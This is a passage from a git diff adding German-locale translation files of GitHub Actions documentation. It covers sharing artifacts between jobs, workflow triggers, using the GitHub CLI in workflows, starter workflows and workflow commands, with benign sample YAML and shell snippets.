+You can use the `upload-artifact` and `download-artifact` actions to share data between jobs in a workflow. This example workflow illustrates how to pass data between jobs in the same workflow. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.location.product_location %}{% endif %}.
+
+Jobs that are dependent on a previous job's artifacts must wait for the dependent job to complete successfully. This workflow uses the `needs` keyword to ensure that `job_1`, `job_2`, and `job_3` run sequentially. For example, `job_2` requires `job_1` using the `needs: job_1` syntax.
+
+Job 1 performs these steps:
+- Performs a math calculation and saves the result to a text file called `math-homework.txt`.
+- Uses the `upload-artifact` action to upload the `math-homework.txt` file with the artifact name `homework`.
+
+Job 2 uses the result in the previous job:
+- Downloads the `homework` artifact uploaded in the previous job. By default, the `download-artifact` action downloads artifacts to the workspace directory that the step is executing in. You can use the `path` input parameter to specify a different download directory.
+- Reads the value in the `math-homework.txt` file, performs a math calculation, and saves the result to `math-homework.txt` again, overwriting its contents.
+- Uploads the `math-homework.txt` file. This upload overwrites the previously uploaded artifact because they share the same name.
+
+Job 3 displays the result uploaded in the previous job:
+- Downloads the `homework` artifact.
+- Prints the result of the math equation to the log.
+
+The full math operation performed in this workflow example is `(3 + 7) x 9 = 90`.
+
+```yaml{:copy}
+name: Share data between jobs
+
+on: [push]
+
+jobs:
+  job_1:
+    name: Add 3 and 7
+    runs-on: ubuntu-latest
+    steps:
+      - shell: bash
+        run: |
+          expr 3 + 7 > math-homework.txt
+      - name: Upload math result for job 1
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: homework
+          path: math-homework.txt
+
+  job_2:
+    name: Multiply by 9
+    needs: job_1
+    runs-on: windows-latest
+    steps:
+      - name: Download math result for job 1
+        uses: {% data reusables.actions.action-download-artifact %}
+        with:
+          name: homework
+      - shell: bash
+        run: |
+          value=`cat math-homework.txt`
+          expr $value \* 9 > math-homework.txt
+      - name: Upload math result for job 2
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: homework
+          path: math-homework.txt
+
+  job_3:
+    name: Display results
+    needs: job_2
+    runs-on: macOS-latest
+    steps:
+      - name: Download math result for job 2
+        uses: {% data reusables.actions.action-download-artifact %}
+        with:
+          name: homework
+      - name: Print the final result
+        shell: bash
+        run: |
+          value=`cat math-homework.txt`
+          echo The result is $value
+```
+
+The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)."
+![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png)
+
+{% ifversion fpt or ghec %}
+
+## Further reading
+
+- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)".
+
+{% endif %}
diff --git a/translations/de-DE/content/actions/using-workflows/triggering-a-workflow.md b/translations/de-DE/content/actions/using-workflows/triggering-a-workflow.md
new file mode 100644
index 0000000000..8e4adb430f
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/triggering-a-workflow.md
@@ -0,0 +1,276 @@
+---
+title: Triggering a workflow
+shortTitle: Trigger a workflow
+intro: 'How to automatically trigger {% data variables.product.prodname_actions %} workflows'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - CI
+  - CD
+miniTocMaxHeadingLevel: 3
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About workflow triggers
+
+{% data reusables.actions.about-triggers %}
+
+Workflow triggers are defined with the `on` key. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#on)."
+
+The following steps occur to trigger a workflow run:
+
+1. An event occurs on your repository. The event has an associated commit SHA and Git ref.
+1. {% data variables.product.product_name %} searches the `.github/workflows` directory in your repository for workflow files that are present in the associated commit SHA or Git ref of the event.
+1. A workflow run is triggered for any workflows that have `on:` values that match the triggering event. Some events also require the workflow file to be present on the default branch of the repository in order to run.
+
+  Each workflow run will use the version of the workflow that is present in the associated commit SHA or Git ref of the event. When a workflow runs, {% data variables.product.product_name %} sets the `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) environment variables in the runner environment. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
+
+### Triggering a workflow from a workflow
+
+{% data reusables.actions.actions-do-not-trigger-workflows %} For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
+
+If you do want to trigger a workflow from within a workflow run, you can use a {% data variables.product.pat_generic %} instead of `GITHUB_TOKEN` to trigger events that require a token. You'll need to create a {% data variables.product.pat_generic %} and store it as a secret. To minimize your {% data variables.product.prodname_actions %} usage costs, ensure that you don't create recursive or unintended workflow runs. For more information about creating a {% data variables.product.pat_generic %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about storing a {% data variables.product.pat_generic %} as a secret, see "[Creating and storing encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
+
+For example, the following workflow uses a {% data variables.product.pat_generic %} (stored as a secret called `MY_TOKEN`) to add a label to an issue via {% data variables.product.prodname_cli %}. Any workflows that run when a label is added will run once this step is performed.
+
+```yaml
+on:
+  issues:
+    types:
+      - opened
+
+jobs:
+  label_issue:
+    runs-on: ubuntu-latest
+    steps:
+      - env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.MY_TOKEN }}{% endraw %}
+          ISSUE_URL: {% raw %}${{ github.event.issue.html_url }}{% endraw %}
+        run: |
+          gh issue edit $ISSUE_URL --add-label "triage"
+```
+
+Conversely, the following workflow uses `GITHUB_TOKEN` to add a label to an issue. It will not trigger any workflows that run when a label is added.
+
+```yaml
+on:
+  issues:
+    types:
+      - opened
+
+jobs:
+  label_issue:
+    runs-on: ubuntu-latest
+    steps:
+      - env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+          ISSUE_URL: {% raw %}${{ github.event.issue.html_url }}{% endraw %}
+        run: |
+          gh issue edit $ISSUE_URL --add-label "triage"
+```
+
+## Using events to trigger workflows
+
+Use the `on` key to specify what events trigger your workflow. For more information about events you can use, see "[Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows)."
+
+### Using a single event
+
+{% data reusables.actions.on-single-example %}
+
+### Using multiple events
+
+{% data reusables.actions.on-multiple-example %}
+
+### Using activity types and filters with multiple events
+
+You can use activity types and filters to further control when your workflow will run. For more information, see [Using event activity types](#using-event-activity-types) and [Using filters](#using-filters). {% data reusables.actions.actions-multiple-types %}
+
+## Using event activity types
+
+{% data reusables.actions.actions-activity-types %}
+
+## Using filters
+
+{% data reusables.actions.actions-filters %}
+
+### Using filters to target specific branches for pull request events
+
+{% data reusables.actions.workflows.section-triggering-a-workflow-branches %}
+
+### Using filters to target specific branches or tags for push events
+
+{% data reusables.actions.workflows.section-run-on-specific-branches-or-tags %}
+
+### Using filters to target specific paths for pull request or push events
+
+{% data reusables.actions.workflows.section-triggering-a-workflow-paths %}
+
+### Using filters to target specific branches for workflow run events
+
+{% data reusables.actions.workflows.section-specifying-branches %}
+
+## Defining inputs for manually triggered workflows
+
+{% data reusables.actions.workflow-dispatch-inputs %}
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+## Defining inputs, outputs, and secrets for reusable workflows
+
+{% data reusables.actions.reusable-workflows-ghes-beta %}
+
+You can define inputs and secrets that a reusable workflow should receive from a calling workflow. You can also specify outputs that a reusable workflow will make available to a calling workflow. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows)."
+
+{% endif %}
+
+## Using event information
+
+Information about the event that triggered a workflow run is available in the `github.event` context. The properties in the `github.event` context depend on the type of event that triggered the workflow. For example, a workflow triggered when an issue is labeled would have information about the issue and label.
+
+### Viewing all properties of an event
+
+Reference the webhook event documentation for common properties and example payloads. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads)."
+
+You can also print the entire `github.event` context to see what properties are available for the event that triggered your workflow:
+
+```yaml
+jobs:
+  print_context:
+    runs-on: ubuntu-latest
+    steps:
+      - env:
+          EVENT_CONTEXT: {% raw %}${{ toJSON(github.event) }}{% endraw %}
+        run: |
+          echo $EVENT_CONTEXT
+```
+
+### Accessing and using event properties
+
+You can use the `github.event` context in your workflow. For example, the following workflow runs when a pull request that changes `package*.json`, `.github/CODEOWNERS`, or `.github/workflows/**` is opened. If the pull request author (`github.event.pull_request.user.login`) is not `octobot` or `dependabot[bot]`, then the workflow uses the {% data variables.product.prodname_cli %} to label and comment on the pull request (`github.event.pull_request.number`).
+
+```yaml
+on:
+  pull_request:
+    types:
+      - opened
+    paths:
+      - '.github/workflows/**'
+      - '.github/CODEOWNERS'
+      - 'package*.json'
+
+jobs:
+  triage:
+    if: >-
+      github.event.pull_request.user.login != 'octobot' &&
+      github.event.pull_request.user.login != 'dependabot[bot]'
+    runs-on: ubuntu-latest
+    steps:
+      - name: "Comment about changes we can't accept"
+        env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+          PR: {% raw %}${{ github.event.pull_request.html_url }}{% endraw %}
+        run: |
+          gh pr edit $PR --add-label 'invalid'
+          gh pr comment $PR --body 'It looks like you edited `package*.json`, `.github/CODEOWNERS`, or `.github/workflows/**`. We do not allow contributions to these files. Please review our [contributing guidelines](https://github.com/octo-org/octo-repo/blob/main/CONTRIBUTING.md) for what contributions are accepted.'
+```
+
+For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." For more information about event payloads, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads)."
+
+## Further controlling how your workflow will run
+
+If you want more granular control than events, event activity types, or event filters provide, you can use conditionals and environments to control whether individual jobs or steps in your workflow will run.
+
+### Using conditionals
+
+You can use conditionals to further control whether jobs or steps in your workflow will run.
+
+#### Example using a value in the event payload
+
+For example, if you want the workflow to run when a specific label is added to an issue, you can trigger on the `issues labeled` event activity type and use a conditional to check what label triggered the workflow. The following workflow will run when any label is added to an issue in the workflow's repository, but the `run_if_label_matches` job will only execute if the label is named `bug`.
+
+```yaml
+on:
+  issues:
+    types:
+      - labeled
+
+jobs:
+  run_if_label_matches:
+    if: github.event.label.name == 'bug'
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo 'The label was bug'
+```
+
+#### Example using event type
+
+For example, if you want to run different jobs or steps depending on what event triggered the workflow, you can use a conditional to check whether a specific event type exists in the event context. The following workflow will run whenever an issue or pull request is closed. If the workflow ran because an issue was closed, the `github.event` context will contain a value for `issue` but not for `pull_request`. Therefore, the `if_issue` step will run but the `if_pr` step will not run. Conversely, if the workflow ran because a pull request was closed, the `if_pr` step will run but the `if_issue` step will not run.
+
+```yaml
+on:
+  issues:
+    types:
+      - closed
+  pull_request:
+    types:
+      - closed
+
+jobs:
+  state_event_type:
+    runs-on: ubuntu-latest
+    steps:
+    - name: if_issue
+      if: github.event.issue
+      run: |
+        echo An issue was closed
+    - name: if_pr
+      if: github.event.pull_request
+      run: |
+        echo A pull request was closed
+```
+
+For more information about what information is available in the event context, see "[Using event information](#using-event-information)." For more information about how to use conditionals, see "[Expressions](/actions/learn-github-actions/expressions)."
+
+### Using environments to manually trigger workflow jobs
+
+If you want to manually trigger a specific job in a workflow, you can use an environment that requires approval from a specific team or user. First, configure an environment with required reviewers. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment)." Then, reference the environment name in a job in your workflow using the `environment:` key. Any job referencing the environment will not run until at least one reviewer approves the job.
+
+For example, the following workflow will run whenever there is a push to main. The `build` job will always run. The `publish` job will only run after the `build` job successfully completes (due to `needs: [build]`) and after all of the rules (including required reviewers) for the environment called `production` pass (due to `environment: production`).
+
+```yaml
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: build
+        echo 'building'
+
+  publish:
+    needs: [build]
+    runs-on: ubuntu-latest
+    environment: production
+    steps:
+      - name: publish
+        echo 'publishing'
+```
+
+{% note %}
+
+{% data reusables.gated-features.environments %}
+
+{% endnote %}
+
+## Available events
+
+For a full list of available events, see "[Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows)."
diff --git a/translations/de-DE/content/actions/using-workflows/using-github-cli-in-workflows.md b/translations/de-DE/content/actions/using-workflows/using-github-cli-in-workflows.md
new file mode 100644
index 0000000000..6eca2a95da
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/using-github-cli-in-workflows.md
@@ -0,0 +1,78 @@
+---
+title: Verwenden der GitHub CLI in Workflows
+shortTitle: GitHub CLI in workflows
+intro: 'Du kannst ein Skript {% data variables.product.prodname_cli %} in {% data variables.product.prodname_actions %}-Workflows erstellen.'
+redirect_from:
+  - /actions/guides/using-github-cli-in-workflows
+  - /actions/advanced-guides/using-github-cli-in-workflows
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - CLI
+  - Workflows
+type: how_to
+ms.openlocfilehash: 3455e4f082acf26215ad050c5c381df53c0c2713
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145107044'
+---
+{% data reusables.cli.cli-learn-more %}
+
+Die {% data variables.product.prodname_cli %} ist auf allen {% data variables.product.prodname_dotcom %}-gehosteten Runnern vorinstalliert. Für jeden Schritt, der die {% data variables.product.prodname_cli %} verwendet, musst du eine Umgebungsvariable namens `GITHUB_TOKEN` auf ein Token mit den erforderlichen Geltungsbereichen festlegen.
+
+Du kannst alle {% data variables.product.prodname_cli %}-Befehle ausführen. Dieser Workflow verwendet beispielsweise den `gh issue comment`-Unterbefehl, um einen Kommentar hinzuzufügen, wenn ein Issue geöffnet wird.
+
+```yaml{:copy}
+name: Comment when opened
+on:
+  issues:
+    types:
+      - opened
+jobs:
+  comment:
+    runs-on: ubuntu-latest
+    steps:
+      - run: gh issue comment $ISSUE --body "Thank you for opening this issue!"
+        env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+          ISSUE: {% raw %}${{ github.event.issue.html_url }}{% endraw %}
+```
+
+Du kannst API-Aufrufe auch über {% data variables.product.prodname_cli %} ausführen. Dieser Workflow verwendet beispielsweise zuerst den `gh api`-Unterbefehl, um die GraphQL-API abzufragen und das Ergebnis zu analysieren. Anschließend speichert er das Ergebnis in einer Umgebungsvariablen, auf die er in einem späteren Schritt zugreifen kann. Im zweiten Schritt wird der `gh issue create`-Unterbefehl verwendet, um ein Issue zu erstellen, das die Informationen aus dem ersten Schritt enthält.
+
+```yaml{:copy}
+name: Report remaining open issues
+on: 
+  schedule: 
+    # Daily at 8:20 UTC
+    - cron: '20 8 * * *'
+jobs:
+  track_pr:
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          numOpenIssues="$(gh api graphql -F owner=$OWNER -F name=$REPO -f query='
+            query($name: String!, $owner: String!) {
+              repository(owner: $owner, name: $name) {
+                issues(states:OPEN){
+                  totalCount
+                }
+              }
+            }
+          ' --jq '.data.repository.issues.totalCount')"
+
+          echo 'NUM_OPEN_ISSUES='$numOpenIssues >> $GITHUB_ENV
+        env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+          OWNER: {% raw %}${{ github.repository_owner }}{% endraw %}
+          REPO: {% raw %}${{ github.event.repository.name }}{% endraw %}
+      - run: |
+          gh issue create --title "Issue report" --body "$NUM_OPEN_ISSUES issues remaining" --repo $GITHUB_REPOSITORY
+        env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+```
diff --git a/translations/de-DE/content/actions/using-workflows/using-starter-workflows.md b/translations/de-DE/content/actions/using-workflows/using-starter-workflows.md
new file mode 100644
index 0000000000..548af567a2
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/using-starter-workflows.md
@@ -0,0 +1,60 @@
+---
+title: Verwenden von Startworkflows
+intro: '{% data variables.product.product_name %} bietet für verschiedene Sprachen und Tools Startworkflows.'
+redirect_from:
+  - /articles/setting-up-continuous-integration-using-github-actions
+  - /github/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions
+  - /actions/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions
+  - /actions/building-and-testing-code-with-continuous-integration/setting-up-continuous-integration-using-github-actions
+  - /actions/guides/setting-up-continuous-integration-using-workflow-templates
+  - /actions/learn-github-actions/using-workflow-templates
+  - /actions/learn-github-actions/using-starter-workflows
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - CI
+  - CD
+ms.openlocfilehash: 7159ce204b89287f86846cf79001657682f6d18d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146179839'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Informationen zu Startworkflows
+
+{% data variables.product.product_name %} umfasst Startworkflows für verschiedene Sprachen und Tools. Wenn du Workflows im Repository einrichtest, analysiert {% data variables.product.product_name %} den Code im Repository und empfiehlt Workflows anhand der Sprache und des Frameworks im Repository. Wenn du beispielsweise [Node.js](https://nodejs.org/en/) verwendest, schlägt {% data variables.product.product_name %} eine Startworkflowdatei vor, die deine Node.js-Pakete installiert und deine Tests ausführt. {% ifversion actions-starter-template-ui %} Um relevante Startworkflows zu finden, kannst du die Such- und Filterfunktion verwenden.{% endif %}
+
+{% data reusables.actions.starter-workflow-categories %}
+
+Du kannst auch deinen eigenen Startworkflow erstellen und mit deiner Organisation teilen. Diese Startworkflows werden zusammen mit den von {% data variables.product.product_name %} bereitgestellten Startworkflows angezeigt. Weitere Informationen findest du unter [Erstellen von Starterworkflows für deine Organisation](/actions/learn-github-actions/creating-starter-workflows-for-your-organization).
+
+## Verwenden von Startworkflows
+
+Jeder mit Schreibberechtigung für ein Repository kann {% data variables.product.prodname_actions %}-Startworkflows für CI/CD oder eine andere Automatisierung einrichten.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %}
+1. Wenn du bereits über einen Workflow im Repository verfügst, klicke auf **Neuer Workflow**.
+1. Die Seite „{% ifversion actions-starter-template-ui %}Workflow auswählen{% else %}Workflowvorlage auswählen{% endif %}“ zeigt eine Auswahl empfohlener Startworkflows. Suche den Startworkflow, den du verwenden möchtest, und klicke dann auf {% ifversion actions-starter-template-ui %}**Konfigurieren**{% else %}**Diesen Workflow einrichten**{% endif %}.{% ifversion actions-starter-template-ui %} Um den gewünschten Startworkflow zu finden, kannst du nach Schlüsselwörtern suchen oder nach Kategorie filtern.{% endif %}
+
+   {% ifversion actions-starter-template-ui %}![Konfigurieren dieses Workflows](/assets/images/help/settings/actions-create-starter-workflow-updated-ui.png){% else %}![Einrichten dieses Workflows](/assets/images/help/settings/actions-create-starter-workflow.png){% endif %}
+1. Wenn der Startworkflow Kommentare mit zusätzlichen Setupschritten enthält, führe die entsprechenden Schritte aus. Viele Startworkflows verfügen über entsprechende Anweisungen. Weitere Informationen findest du in den [{% data variables.product.prodname_actions %}-Leitfäden](/actions/guides).
+1. Einige Startworkflows verwenden Geheimnisse. Beispiel: {% raw %}`${{ secrets.npm_token }}`{% endraw %}. Wenn der Startworkflow ein Geheimnis verwendet, speichere den im Geheimnisnamen beschriebenen Wert als Geheimnis im Repository. Weitere Informationen findest du unter [Verschlüsselte Geheimnisse](/actions/reference/encrypted-secrets).
+1. Optional kannst du zusätzliche Änderungen vornehmen. Beispielsweise kannst du den Wert `on` so bearbeiten, dass er sich bei Ausführung des Workflows ändert.
+1. Klicke auf **Commit starten**.
+1. Schreibe eine Commitnachricht, und entscheide, ob direkt ein Commit an den Standardbranch erfolgen oder ein Pull Request geöffnet werden soll.
+
+## Weitere Informationsquellen
+
+- [Informationen zu Continuous Integration](/articles/about-continuous-integration)
+- [Verwalten von Workflowausführungen](/actions/managing-workflow-runs)
+- [Informationen zu Überwachung und Problembehandlung](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting)
+- [Erlernen von {% data variables.product.prodname_actions %}](/actions/learn-github-actions) {% ifversion fpt or ghec %}
+- [Verwalten der Abrechnung für {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions) {% endif %}
diff --git a/translations/de-DE/content/actions/using-workflows/workflow-commands-for-github-actions.md b/translations/de-DE/content/actions/using-workflows/workflow-commands-for-github-actions.md
new file mode 100644
index 0000000000..1de70aadbc
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/workflow-commands-for-github-actions.md
@@ -0,0 +1,959 @@
+---
+title: Workflow commands for GitHub Actions (Workflowbefehle für GitHub Actions)
+shortTitle: Workflow commands
+intro: 'Du kannst Workflow-Befehle verwenden, wenn du Shell-Befehle in einem Workflow oder im Code einer Aktion ausführst.'
+defaultTool: bash
+redirect_from:
+  - /articles/development-tools-for-github-actions
+  - /github/automating-your-workflow-with-github-actions/development-tools-for-github-actions
+  - /actions/automating-your-workflow-with-github-actions/development-tools-for-github-actions
+  - /actions/reference/development-tools-for-github-actions
+  - /actions/reference/logging-commands-for-github-actions
+  - /actions/reference/workflow-commands-for-github-actions
+  - /actions/learn-github-actions/workflow-commands-for-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: b34a96bb62a885031584f3da017fd86b7469a277
+ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160832'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Informationen zu Workflow-Befehlen
+
+Aktionen können mit dem Runner-Rechner kommunizieren, um Umgebungsvariablen zu setzen, Werte zur Verwendung in anderen Aktionen auszugeben, Debug-Meldungen zu den Ausgabeprotokollen zuzufügen und für andere Zwecke.
+
+Die meisten Workflowbefehle verwenden den Befehl `echo` in einem spezifischen Format, während andere durch Schreiben in eine Datei aufgerufen werden. Weitere Informationen findest du unter [Umgebungsdateien](#environment-files).
+
+### Beispiel
+
+{% bash %}
+
+```bash{:copy}
+echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+Write-Output "::workflow-command parameter1={data},parameter2={data}::{command value}"
+```
+
+{% endpowershell %}
+
+{% note %}
+
+**Hinweis:** Bei Workflowbefehls- und Parameternamen wird nicht zwischen Groß- und Kleinschreibung unterschieden.
+
+{% endnote %}
+
+{% warning %}
+
+**Warnung:** Wenn du die Eingabeaufforderung verwendest, lasse doppelte Anführungszeichen (`"`) bei Verwendung von Workflowbefehlen aus.
+
+{% endwarning %}
+
+## Workflow-Befehle verwenden, um auf Funktionen des Toolkits zuzugreifen
+
+Die [Aktionen/Toolkit](https://github.com/actions/toolkit) enthält eine Reihe von Funktionen, die als Workflowbefehle ausgeführt werden können. Verwende die Syntax `::`, um die Workflowbefehle in deiner YAML-Datei auszuführen. Diese Befehle werden dann über `stdout` an den Runner gesendet.
+
+{%- ifversion actions-save-state-set-output-envs %} Anstatt beispielsweise eine Fehleranmerkung über den Code zu erstellen, kannst du wie folgt vorgehen:
+
+```javascript{:copy}
+core.error('Missing semicolon', {file: 'app.js', startLine: 1})
+```
+
+### Beispiel: Erstellen einer Anmerkung zu einem Fehler
+
+Du kannst den Befehl `error` in deinem Workflow verwenden, um dieselbe Fehleranmerkung zu erstellen:
+
+{% bash %}
+
+{% raw %}
+```yaml{:copy}
+      - name: Create annotation for build error
+        run: echo "::error file=app.js,line=1::Missing semicolon"
+```
+{% endraw %}
+
+{% endbash %}
+
+{% powershell %}
+
+{% raw %}
+```yaml{:copy}
+      - name: Create annotation for build error
+        run: Write-Output "::error file=app.js,line=1::Missing semicolon"
+```
+{% endraw %}
+
+{% endpowershell %} {%- else %} Anstatt beispielsweise eine Ausgabe über den Code festzulegen, kannst du wie folgt vorgehen:
+
+```javascript{:copy}
+core.setOutput('SELECTED_COLOR', 'green');
+```
+
+### Beispiel: Festlegen eines Werts
+
+Du kannst den Befehl `set-output` in deinem Workflow verwenden, um denselben Wert festzulegen:
+
+{% bash %}
+
+{% raw %}
+```yaml{:copy}
+      - name: Set selected color
+        run: echo '::set-output name=SELECTED_COLOR::green'
+        id: random-color-generator
+      - name: Get color
+        run: echo "The selected color is ${{ steps.random-color-generator.outputs.SELECTED_COLOR }}"
+```
+{% endraw %}
+
+{% endbash %}
+
+{% powershell %}
+
+{% raw %}
+```yaml{:copy}
+      - name: Set selected color
+        run: Write-Output "::set-output name=SELECTED_COLOR::green"
+        id: random-color-generator
+      - name: Get color
+        run: Write-Output "The selected color is ${{ steps.random-color-generator.outputs.SELECTED_COLOR }}"
+```
+{% endraw %}
+
+{% endpowershell %}
+
+{% endif %}
+
+Die folgende Tabelle zeigt, welche Toolkit-Funktionen innerhalb eines Workflows verfügbar sind:
+
+| Toolkit-Funktion | Äquivalenter Workflow-Befehl |
+| ----------------- |  ------------- |
+| `core.addPath`    | Barrierefrei mithilfe der Umgebungsdatei `GITHUB_PATH` |
+| `core.debug`      | `debug` |
+| `core.notice`     | `notice` |
+| `core.error`      | `error` |
+| `core.endGroup`   | `endgroup` |
+| `core.exportVariable` | Barrierefrei mithilfe der Umgebungsdatei `GITHUB_ENV` |
+| `core.getInput`   | Barrierefrei mithilfe der Umgebungsvariablen `INPUT_{NAME}` |
+| `core.getState`   | Barrierefrei mithilfe der Umgebungsvariablen `STATE_{NAME}` |
+| `core.isDebug`    |  Barrierefrei mithilfe der Umgebungsvariablen `RUNNER_DEBUG` |
+{%- ifversion actions-job-summaries %} | `core.summary` | Barrierefrei mithilfe der Umgebungsdatei `GITHUB_STEP_SUMMARY` | {%- endif %} | `core.saveState`  | {% ifversion actions-save-state-set-output-envs %}Barrierefrei mithilfe der Umgebungsdatei `GITHUB_STATE`{% else %}`save-state`{% endif %} | | `core.setCommandEcho` | `echo` | | `core.setFailed`  | Wird als Abkürzung für `::error` und `exit 1` verwendet | | `core.setOutput`  | {% ifversion actions-save-state-set-output-envs %}Barrierefrei mithilfe der Umgebungsdatei `GITHUB_OUTPUT`{% else %}`set-output`{% endif %} | | `core.setSecret`  | `add-mask` | | `core.startGroup` | `group` | | `core.warning`    | `warning` |
+
+{% ifversion actions-save-state-set-output-envs %}{% else %}
+## Festlegen eines Ausgabeparameters
+
+Legt den Ausgabeparameter einer Aktion fest.
+
+```{:copy}
+::set-output name={name}::{value}
+```
+
+Optional kannst du auch Ausgabeparameter in der Metadaten-Datei einer Aktion deklarieren. Weitere Informationen findest du unter [Metadatensyntax für {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions).
+
+Du kannst mehrzeilige Zeichenfolgen zum Festlegen eines Ausgabeparameters umgehen, indem du eine Umgebungsvariable erstellst und sie in einem Workflowbefehl verwendest. Weitere Informationen findest du unter [Festlegen einer Umgebungsvariablen](#setting-an-environment-variable).
+
+### Beispiel: Festlegen eines Ausgabeparameters
+
+{% bash %}
+
+```bash{:copy}
+echo "::set-output name=action_fruit::strawberry"
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+Write-Output "::set-output name=action_fruit::strawberry"
+```
+
+{% endpowershell %} {% endif %}
+
+## Festlegen einer Debugmeldung
+
+Gibt eine Debugging-Meldung im Protokoll aus. Du musst einen Geheimschlüssel `ACTIONS_STEP_DEBUG` mit dem Wert `true` erstellen, um die Debugmeldungen anzuzeigen, die in diesem Befehl im Protokoll festgelegt sind. Weitere Informationen findest du unter [Aktivieren der Debugprotokollierung](/actions/managing-workflow-runs/enabling-debug-logging).
+
+```{:copy}
+::debug::{message}
+```
+
+### Beispiel: Festlegen einer Debugmeldung
+
+{% bash %}
+
+```bash{:copy}
+echo "::debug::Set the Octocat variable"
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+Write-Output "::debug::Set the Octocat variable"
+```
+
+{% endpowershell %}
+
+## Festlegen einer Benachrichtigung
+
+Erstellt eine Benachrichtigung und fügt diese in das Protokoll ein. {% data reusables.actions.message-annotation-explanation %}
+
+```{:copy}
+::notice file={name},line={line},endLine={endLine},title={title}::{message}
+```
+
+{% data reusables.actions.message-parameters %}
+
+### Beispiel: Festlegen einer Benachrichtigung
+
+{% bash %}
+
+```bash{:copy}
+echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+Write-Output "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
+```
+
+{% endpowershell %}
+
+## Festlegen einer Warnmeldung
+
+Erstellt eine Warnmeldung und fügt die Mitteilung in das Protokoll ein. {% data reusables.actions.message-annotation-explanation %}
+
+```{:copy}
+::warning file={name},line={line},endLine={endLine},title={title}::{message}
+```
+
+{% data reusables.actions.message-parameters %}
+
+### Beispiel: Festlegen einer Warnmeldung
+
+{% bash %}
+
+```bash{:copy}
